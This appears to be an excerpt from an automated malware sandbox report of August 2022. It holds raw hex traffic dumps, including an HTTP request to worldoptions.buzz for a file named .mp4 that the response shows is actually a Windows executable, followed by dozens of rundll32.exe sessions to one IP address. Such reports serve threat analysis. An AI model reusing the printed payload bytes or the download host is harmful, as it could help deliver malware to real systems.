b9 f8 62 fa 63 3a 8d b2 3a 8d b3 f2 4a 72 07 83 18 72 3a ff 76 56 3a f1 9e 52 3a fb b3 8d e5 d2 72 72 72 3a f1 b6 52 3a f1 b6 7a 3a f1 9e 32 3a ff 2e 56 62 3a f1 9e 52 3a fb ab 8d e5 e2 72 72 72 3a f1 b6 52 14 f9 71 14 fb f5 4a 73 72 72 f8 11 70 f8 31 74 14 fb f5 4e 73 72 72 3a f1 b6 32 14 f9 f5 4a 73 72 72 b3 92 62 14 f9 f5 4e 73 72 72 fb f5 32 73 72 72 f3 cd 32 73 72 72 75 78 94 75 7d fd 28 7c 72 72 3a ff ff 46 60 72 72 3a ff ed 36 73 72 72 3a ff f5 ad 77 72 72 22 21 23 9a ea 8f 8d 8d 3a f1 cd ad 77 72 72 72 06 56 f3 cd 32 73 72 72 73 78 94 75 0c 7e b4 f5 95 77 72 72 70 9b 05 73 72 72 b4 f5 95 77 72 72 73 9b 19 73 72 72 3a ff ff 4c 60 72 72 3a ff ed 36 73 72 72 3a ff f5 b6 77 72 72 22 21 23 9a 3f 8f 8d 8d 3a f1 cd b6 77 72 72 72 06 56 f3 cd 32 73 72 72 74 78 94 75 0c 7e b4 f5 be 77 72 72 70 9b 5e 73 72 72 b4 f5 be 77 72 72 73 9b 52 73 72 72 3a ff ff 23 60 72 72 3a ff ed 36 73 72 72 3a ff f5 9a 77 72 72 22 21 23 9a 70 8f 8d 8d 3a f1 cd 9a 77 72 72 72 06 56 f3 cd 32 73 72 72 6e 7b 94 75 0c 7e b4 f5 82 77 72 72 70 9b 93 72 72 72 b4 f5 82 77 72 72 73 9b a7 72 72 72 3a ff ff 35 60 72 72 3a ff ed 36 73 72 72 3a ff f5 bf 77 72 72 22 21 23 9a c5 8e Data Ascii: P&1Z4TYr&&,>vWrrr?2j?b?vV;5\|N@z?r?K;Brrr# !'$%::$Nlrrr:s$R:s:C:r:s$:C}bJxus:Kr,(:(V:s~9(n:sv:s:7r,:zrr-,/)(+:2"!# :,z:$b:nrrrqvx::Irvxr:4b:R:rrr:R:<jvstsrrrr(+):jrrr:u}:R:rrrr:rr"r;rBrr;2rrre:R:b:5zs5bN5:EK52L \|5"M/l5BgD5j2;\5RPK5Ze?5J75}5H5.@5:5T-5LxrrrArrrzrrrbrrr5urrrrrr4rrr9Prrr=zrrr$mpsrrrrrrSr:R:rrrr:rrsr;rbrr;vrrre:R:wrrr:Bsrr:e`rr:6srr:bc::Jrr:vV:R:rrr:R:z:2:.Vb:R:rrr:RqJsrrp1tNsrr:2JsrrbNsrr2srr2srruxu}(\|rr:F`rr:6srr:wrr"!#:wrrrV2srrsxu~wrrpsrrwrrssrr:L`rr:6srr:wrr"!#?:wrrrV2srrtxu~wrrp^srrwrrsRsrr:#`rr:6srr:wrr"!#p:wrrrV2srrn{u~wrrprrrwrrsrrr:5`rr:6srr:wrr"!#
Aug 14, 2022 08:39:18.878985882 CEST	3	IN	Data Raw: 8d 8d 3a f1 cd bf 77 72 72 72 06 56 f3 cd 32 73 72 72 6b 7b 94 75 0c 7e b4 f5 a7 77 72 72 70 9b e4 72 72 72 b4 f5 a7 77 72 72 73 9b f8 72 72 72 3a ff ff 29 60 72 72 3a ff ed 36 73 72 72 3a ff f5 a4 77 72 72 22 21 23 9a 1e 8e 8d 8d 3a f1 cd a4 77 Data Ascii: :wrrrV2srrk{u~wrrprrrwrrsrrr:)`rr:6srr:wrr"!#:wrrrl2srrtxu{wrrp<wrrs7:`rr:6srr:wrr"!#U:wrrrl2srrpxu{wrrp{wrrsr:A@rr":vV2:R:%b:R:b:rrry%:
Aug 14, 2022 08:39:18.879002094 CEST	4	IN	Data Raw: 8c c5 4b 4d 8c 8c 8c 8c c4 4b c8 a8 ac 8f 8c 8c 8c c4 4b c8 a8 a4 8c 8c 8c 8c c4 4b c8 a8 bc 8c 8c 8c 8c 73 db 94 c4 0f 48 cc dc e4 c1 d6 1c 8c c0 01 98 a8 e6 8c c0 01 90 a8 c4 0f 60 bc c4 05 4d c0 05 5e c5 4b 4c 88 8c 8c 8c c1 05 55 c4 4b c8 a8 Data Ascii: KMKKKsH`M^KLUKsHH`MsHH96sJsO~sG;HsJsO~sG9lsJsO~H`KNsHO@@4`Ms
Aug 14, 2022 08:39:18.879014015 CEST	6	IN	Data Raw: 48 8d 8c 8c cc 0c 68 7c c4 0f 60 ac c4 05 4d 73 db 9c c4 0f 48 ac c4 05 4f c4 0f 77 8c 83 08 4b 8e 8c 8c c4 01 39 86 9e 8c 8c cc 0c 68 7c c4 0f 60 ac c4 05 55 c4 05 7e 73 1b 4c 8c 8c 8c c4 0f 48 ac c4 05 4f c4 0f 74 8c 83 08 17 8e 8c 8c 73 5f 65 Data Ascii: Hh\|`MsHOwK9h\|`U~sLHOts_e@@H`UNKLsHH`KMNTKMKs\|HH`U6LKLKMKK
Aug 14, 2022 08:39:19.303687096 CEST	6	OUT	GET /agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.mp4 HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: worldoptions.buzz Connection: Keep-Alive
Aug 14, 2022 08:39:19.462470055 CEST	8	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 09 Aug 2022 20:42:33 GMT ETag: "5c800-5e5d4f8c46040" Accept-Ranges: bytes Content-Length: 378880 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: video/mp4 Data Raw: 61 73 64 66 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 ef 75 51 61 8e 1b 02 61 8e 1b 02 61 8e 1b 02 bc 71 cb 02 60 8e 1b 02 27 df fa 02 2a 8e 1b 02 27 df fb 02 b4 8e 1b 02 27 df c4 02 6d 8e 1b 02 bc 71 d0 02 6c 8e 1b 02 61 8e 1a 02 1a 8e 1b 02 6c dc fe 02 68 8e 1b 02 6c dc c7 02 60 8e 1b 02 6c dc c0 02 60 8e 1b 02 6c dc c5 02 60 8e 1b 02 52 69 63 68 61 8e 1b 02 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 93 5b f2 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0c 00 00 fa 03 00 00 f6 01 00 00 00 00 00 40 3f 02 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 06 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 e0 60 05 00 63 00 00 00 44 61 05 00 8c 00 00 00 00 10 06 00 e0 01 00 00 00 d0 05 00 78 33 00 00 00 00 00 00 00 00 00 00 00 20 06 00 30 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 d0 04 00 70 00 00 00 00 00 00 00 00 00 00 00 00 10 04 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8e f8 03 00 00 10 00 00 00 fa 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 5d 01 00 00 10 04 00 00 5e 01 00 00 fe 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 54 00 00 00 70 05 00 00 2a 00 00 00 5c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 78 33 00 00 00 d0 05 00 00 34 00 00 00 86 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e0 01 00 00 00 10 06 00 00 02 00 00 00 ba 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 30 0b 00 00 00 20 06 00 00 0c 00 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 83 ec 28 48 8d 15 d5 96 04 00 48 8d 0d fe 7b 05 00 41 b8 40 00 00 00 e8 Data Ascii: asdf@!L!This program cannot be run in DOS mode.$%uQaaaq`'''mqlalhl`l`l`RichaPEd[b" @?0``cDax3 0p.text `.rdata]^@@.data`Tp\@.pdatax34@@.rsrc@@.reloc0 @BH(HH{A@
Aug 14, 2022 08:39:19.462491989 CEST	9	IN	Data Raw: 33 1d 00 00 48 8d 0d 3c f6 03 00 48 83 c4 28 e9 03 09 02 00 cc cc cc 48 8d 0d b9 f6 03 00 e9 f4 08 02 00 cc cc cc cc 48 8d 0d 99 f6 03 00 e9 e4 08 02 00 cc cc cc cc 48 8d 0d 79 f6 03 00 e9 d4 08 02 00 cc cc cc cc 48 83 ec 28 48 8d 0d 45 a0 05 00 Data Ascii: 3H<H(HHHyH(HE3A(v$HH(HHH(Hd~HH(hH(HHFAE3XHH(8@SH HvH
Aug 14, 2022 08:39:19.462526083 CEST	10	IN	Data Raw: b0 1b 44 32 c1 41 0f b6 cc c0 e9 07 f6 e9 40 32 e8 44 0f b6 f8 b0 1b 40 0f b6 cd c0 e9 07 f6 e9 40 0f b6 cd 02 c9 0f b6 d0 32 d1 44 0f b6 ca 45 32 c8 44 32 ce 45 32 ca 45 32 cb 45 32 ce 44 32 4c 24 60 44 32 4c 24 70 45 02 c9 c0 ea 07 41 c0 ea 07 Data Ascii: D2A@2D@@2DE2D2E2E2E2D2L$`D2L$pEAAA@D2AD2AD2AD2AD2AD2H$D2D2L$xE2D2L$hD2L$`DHDAD2AADD2@@
Aug 14, 2022 08:39:19.462543011 CEST	12	IN	Data Raw: 8d 41 04 88 43 0f 0f b6 43 07 88 4b 07 88 43 0b 0f 1f 00 b9 04 00 00 00 66 66 66 0f 1f 84 00 00 00 00 00 0f b6 04 1a 48 ff c3 30 43 ff 48 ff c9 75 f1 49 ff c8 75 dc 48 8b 5c 24 30 48 8b 6c 24 38 48 8b 74 24 40 48 83 c4 20 5f c3 cc cc cc cc cc cc Data Ascii: ACCKCfffH0CHuIuH\$0Hl$8Ht$@H _H\$Hl$Ht$WH HMLAL+HffffAH0AHuIuH=@H-:H+CKLCCACCKKCCC
Aug 14, 2022 08:39:19.462914944 CEST	13	IN	Data Raw: 39 02 75 03 b0 01 c3 32 c0 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 8d 05 b1 86 04 00 c3 cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 30 33 db 41 8b c8 48 8b fa 89 5c 24 20 e8 4d 67 03 00 48 c7 47 18 0f 00 00 00 48 85 c0 48 89 5f Data Ascii: 9u2HH\$WH03AH\$ MgHGHH_HHE8tHH<uLHH\$@HH0_HI@SH03HD$ Au*HBHBH&D@HHH0[<HH
Aug 14, 2022 08:39:19.462933064 CEST	15	IN	Data Raw: 02 02 c8 88 4d e8 0f b6 4d d2 0f b6 c1 c0 e8 02 24 0f c0 e2 04 02 c2 88 45 e9 c0 e1 06 02 4d d3 88 4d ea 33 f6 66 66 0f 1f 84 00 00 00 00 00 48 8b 43 08 48 8d 7d e8 48 03 fe 48 3b f8 73 78 4c 8b 03 4c 3b c7 77 70 49 2b f8 48 8b 53 10 48 3b c2 75 Data Ascii: MM$EMM3ffHCH}HH;sxLL;wpI+HSH;uPHH+HsDIH+HHI+HI+LIHI+H;s3IH;HBHHSHtqHfHSH;uOHH+HsCLIH+HHrlI+HI+LIHI+
Aug 14, 2022 08:39:19.462960005 CEST	16	IN	Data Raw: 00 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc 40 53 55 56 48 83 ec 20 48 83 c8 ff 41 0f b6 e8 4c 8b 41 10 49 2b c0 48 8b f2 48 8b d9 48 3b c2 0f 86 d9 00 00 00 48 89 7c 24 58 48 85 d2 0f 84 bb 00 00 00 49 8d 3c 10 48 83 ff fe 0f Data Ascii: H\$0H _@SUVH HALAI+HHH;H\|$XHI<HHAH;s+HHHKHuTH{rDH@,bHuHyHrH@8H\|$XHH ^][H\|$XHHH ^][H@,H{rHH@HLx[H{H
Aug 14, 2022 08:39:19.463002920 CEST	17	IN	Data Raw: 87 a3 00 00 00 48 8b 41 18 48 89 6c 24 30 33 ed 48 3b c2 73 0b 4c 8b 41 10 e8 2d 01 00 00 eb 72 45 84 c0 74 58 48 83 fa 10 73 52 48 89 74 24 38 48 8b 71 10 48 3b d6 48 0f 42 f2 48 83 f8 10 72 25 4c 89 74 24 40 4c 8b 31 48 85 f6 74 0b 4c 8b c6 49 Data Ascii: HAHl$03H;sLA-rEtXHsRHt$8HqH;HBHr%Lt$@L1HtLIILt$@HsHC@,Ht$8HuHiHrH@+Hl$0H\$HHH _HwYH@SVWH 3HHHtHw[HyHH

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.22	49183	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.22	49184	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.22	49185	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.22	49186	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.22	49187	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.22	49188	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.22	49189	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.22	49190	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.22	49191	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49174	142.250.185.228	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.22	49192	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.22	49193	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.22	49194	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.22	49195	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.22	49196	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.22	49197	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.22	49198	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.22	49199	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.22	49200	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.22	49201	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49175	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.22	49202	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.22	49203	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.22	49204	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.22	49205	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.22	49206	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.22	49207	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.22	49208	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.22	49209	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.22	49210	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.22	49211	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49176	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.22	49212	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.22	49213	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.22	49214	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.22	49215	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.22	49216	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.22	49217	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.22	49218	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.22	49219	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.22	49220	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.22	49221	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49177	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.22	49222	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.22	49223	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.22	49224	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.22	49225	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.22	49226	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.22	49227	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.22	49228	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.22	49229	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.22	49230	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.22	49231	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49178	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.22	49232	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.22	49233	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.22	49234	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.22	49235	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.22	49236	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.22	49237	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.22	49238	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.22	49239	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.22	49240	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.22	49241	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.22	49179	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.22	49242	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.22	49243	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.22	49244	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.22	49245	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.22	49246	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.22	49247	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.22	49248	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.22	49249	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.22	49250	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.22	49251	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.22	49180	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.22	49252	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.22	49253	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.22	49254	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.22	49255	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.22	49256	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

